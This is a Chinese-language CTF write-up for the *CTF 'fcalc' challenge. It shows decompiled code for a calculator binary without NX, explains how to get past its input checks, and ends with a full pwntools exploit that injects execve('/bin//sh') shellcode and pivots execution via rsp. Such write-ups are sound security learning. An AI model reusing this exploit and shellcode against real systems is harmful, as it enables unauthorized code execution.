比赛名应该是*ctf 但是由于我hexo框架不能命名为 * 所以只能叫星了
fcalc

没有开启NX保护 第一反应就是要打shellcode
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 
 | void __fastcall __noreturn main(int a1, char **a2, char **a3){
 void *v3;
 void *v4;
 double *v5;
 int v6;
 int i;
 int j;
 double *v9;
 void *s;
 void *buf;
 double v12;
 unsigned __int64 v13;
 
 v13 = __readfsqword(0x28u);
 v3 = alloca(400LL);
 s = (16 * ((&v6 + 3) >> 4));
 v4 = alloca(64LL);
 buf = s;
 memset(s, 0, 0x180uLL);
 memset(buf, 0, 0x30uLL);
 qword_40E0 = s;
 dword_4010 = 0;
 sub_1384();
 say();
 while ( 1 )
 {
 v6 = read(0, buf, 0x180uLL);
 if ( v6 > 47 )
 v6 = 48;
 for ( i = 0; i < v6 && *(buf + i) != '\n'; ++i )
 {
 if ( *(buf + i) <= 0x20 || *(buf + i) > 0x30 )
 {
 if ( *(buf + i) > 0x2F && *(buf + i) <= 0x39 )
 {
 if ( dword_4010 > 47 )
 {
 puts("ERROR");
 exit(1);
 }
 ++dword_4010;
 v5 = qword_40E0;
 *v5 = atof(buf + i);
 qword_40E0 += 8LL;
 while ( *(buf + i + 1) == 0x2E || *(buf + i + 1) > 0x2F && *(buf + i + 1) <= 0x39 )
 ++i;
 }
 }
 else
 {
 if ( dword_4010 <= 1 )
 {
 puts("ERROR");
 exit(1);
 }
 v9 = s;
 for ( j = 0; j <= 47; ++j )
 {
 v12 = fabs(*v9);
 if ( v12 != 0.0 && (v12 < 1.0 || v12 > 100.0) )
 {
 printf("ERROR: %lf\n", v12);
 exit(1);
 }
 ++v9;
 }
 (qword_4060[*(buf + i) - 0x20])();
 }
 }
 if ( s < qword_40E0 )
 printf("Result: %lf\n", *(qword_40E0 - 8));
 }
 }
 
 | 
首先需要逆向出来和菜单交互的格式 我们需要使得dword_4010大于1 同时还要绕过这两个循环
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 
 | while ( *(buf + i + 1) == 0x2E || *(buf + i + 1) > 0x2F && *(buf + i + 1) <= 0x39 )++i;
 }
 for ( j = 0; j <= 47; ++j )
 {
 v12 = fabs(*v9);
 if ( v12 != 0.0 && (v12 < 1.0 || v12 > 100.0) )
 {
 printf("ERROR: %lf\n", v12);
 exit(1);
 }
 ++v9;
 }
 
 | 
第一个循环 相对来说容易 只需要在对应字符后面加上超出范围的字符即可
第二个循环限制比较大 对0x48个字长的空间都进行了check
随后呢根据输入的字符 取决调用哪个函数
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 
 | __int64 (__fastcall *sub_1384())(){
 __int64 (__fastcall *result)();
 
 setvbuf(stdin, 0LL, 2, 0LL);
 setvbuf(stdout, 0LL, 2, 0LL);
 setvbuf(stderr, 0LL, 2, 0LL);
 qword_4060[0] = printf_nop;
 qword_4068 = printf_nop;
 qword_4070 = printf_nop;
 qword_4078 = printf_nop;
 qword_4080 = printf_nop;
 qword_4088 = printf_nop;
 qword_4090 = printf_nop;
 qword_4098 = printf_nop;
 qword_40A0 = printf_nop;
 qword_40A8 = printf_nop;
 qword_40B0 = sub_12BB;
 qword_40B8 = sub_1208 + 1;
 qword_40C0 = printf_nop;
 qword_40C8 = sub_1262;
 qword_40D0 = printf_nop;
 result = sub_1314;
 qword_40D8 = sub_1314;
 return result;
 }
 
 | 
顺便在main函数的开头 还隐藏着一个buf地址
我们通过字符’0’就可以实现call buf 这里就存在了shellcode的调用
由于我们刚才说到的check的存在 我们没办法把shellcode放到payload后面 所以需要通过把shellcode写到不会被check的前面 然后控制rsp寄存器再跳转过去
完整exp:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 
 | from pwn import*import pwn_pb2
 io = process("./pwn")
 
 elf = ELF("./pwn")
 context.terminal = ['tmux','splitw','-h']
 
 libc = ELF("./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so")
 context.arch = "amd64"
 context.log_level = "debug"
 def debug():
 gdb.attach(io)
 pause()
 
 io.recvuntil("Enter your expression:")
 shellcode = """
 add rsp,0x10
 jmp rsp
 """
 payload = b'\x35\x40\x35\x40\x30\x30\x30\x30'+b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"+cyclic(0x21)+p64(0x4014000000000000)*2+asm(shellcode)+b'\x40\x40'
 
 
 io.send(payload)
 
 io.interactive()
 
 |